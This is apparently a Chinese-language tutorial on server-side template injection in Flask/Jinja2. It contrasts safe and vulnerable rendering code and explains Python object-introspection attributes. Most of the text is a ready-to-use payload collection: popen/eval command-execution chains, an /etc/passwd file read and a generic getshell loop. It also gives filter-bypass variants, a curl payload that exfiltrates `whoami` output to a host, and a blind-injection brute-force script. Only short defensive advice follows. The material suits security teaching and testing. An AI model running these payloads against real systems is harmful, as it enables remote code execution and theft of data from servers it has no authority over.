SSTI模板注入(Python+Jinja2)
字数 1233 2025-08-20 18:18:05
SSTI模板注入(Python+Jinja2) 全面教学文档
前提知识
- Python基础
- Flask框架
- Jinja2模板引擎
SSTI介绍
SSTI(Server-Side Template Injection)主要存在于使用模板渲染框架的应用中,包括:
- Python框架:jinja2、mako、tornado、django
- PHP框架:smarty、twig
- Java框架:jade、velocity
漏洞成因:渲染函数对用户输入过度信任,导致模板注入漏洞,可能造成文件泄露、RCE等严重后果。
安全原则:永远不要相信用户的任何输入
漏洞成因分析
安全代码示例
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"
@app.route('/')
@app.route('/index')
def index():
return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))
if __name__ == "__main__":
app.run()
<!--/www/templates/index.html-->
<html>
<head>
<title>{{title}} - cl4y</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>
这种写法安全,因为模板已固定,用户输入不会改变模板语法结构。
危险代码示例
from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template('''
<html>
<head>
<title>SSTI_TEST - cl4y</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name))
return t.render()
这种写法危险,因为用户输入直接拼接进模板,可能导致SSTI漏洞。
Python基础知识
关键魔术方法
-
__class__- 返回对象所属的类- 示例:
''.__class__→<class 'str'>
- 示例:
-
__bases__- 以元组形式返回类直接继承的类- 示例:
''.__class__.__bases__→(<class 'object'>,)
- 示例:
-
__base__- 返回类直接继承的第一个类- 示例:
''.__class__.__base__→<class 'object'>
- 示例:
-
__mro__- 返回方法解析顺序- 示例:
''.__class__.__mro__→(<class 'str'>, <class 'object'>)
- 示例:
-
__subclasses__()- 获取类的所有子类- 示例:
object.__subclasses__()→ 返回所有内置类的子类
- 示例:
-
__init__- 所有自带类都包含的初始化方法 -
__globals__- 获取函数所处空间下可用的module、方法和变量- 示例:
function.__globals__
- 示例:
注入思路与Payload
基本注入思路
- 通过内置类对象获取其类
- 获取基类(通常是
<class 'object'>) - 获取所有子类列表
- 在子类列表中寻找可利用的类进行getshell
查找可利用类的方法
from flask import Flask,request
from jinja2 import Template
search = 'eval' # 可替换为其他想查找的关键字
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
Python2/Python3通用Payload
-
直接使用popen(Python2不可用)
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() -
使用os下的popen
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read() -
使用__import__下的os(Python2不可用)
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read() -
利用__builtins__下的函数
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
Python2特有Payload(文件操作)
# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
通用Getshell Payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
绕过技术
-
绕过中括号
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read() -
绕过逗号+中括号
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}} -
绕过双大括号(DNS外带)
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %} -
Python2盲注
import requests url = 'http://127.0.0.1:8080/' def check(payload): postdata = {'exploit':payload} r = requests.post(url, data=postdata).content return '~p0~' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in s: payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}' if check(payload): password += c break print password -
绕过引号+中括号的通用Getshell
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %} {% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %} {{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }} {% endif %} {% endfor %}
防御措施
- 避免直接将用户输入拼接到模板中
- 使用安全的模板渲染方式(如第一个示例)
- 对用户输入进行严格的过滤和转义
- 使用沙箱环境限制模板执行能力
- 定期更新框架和依赖库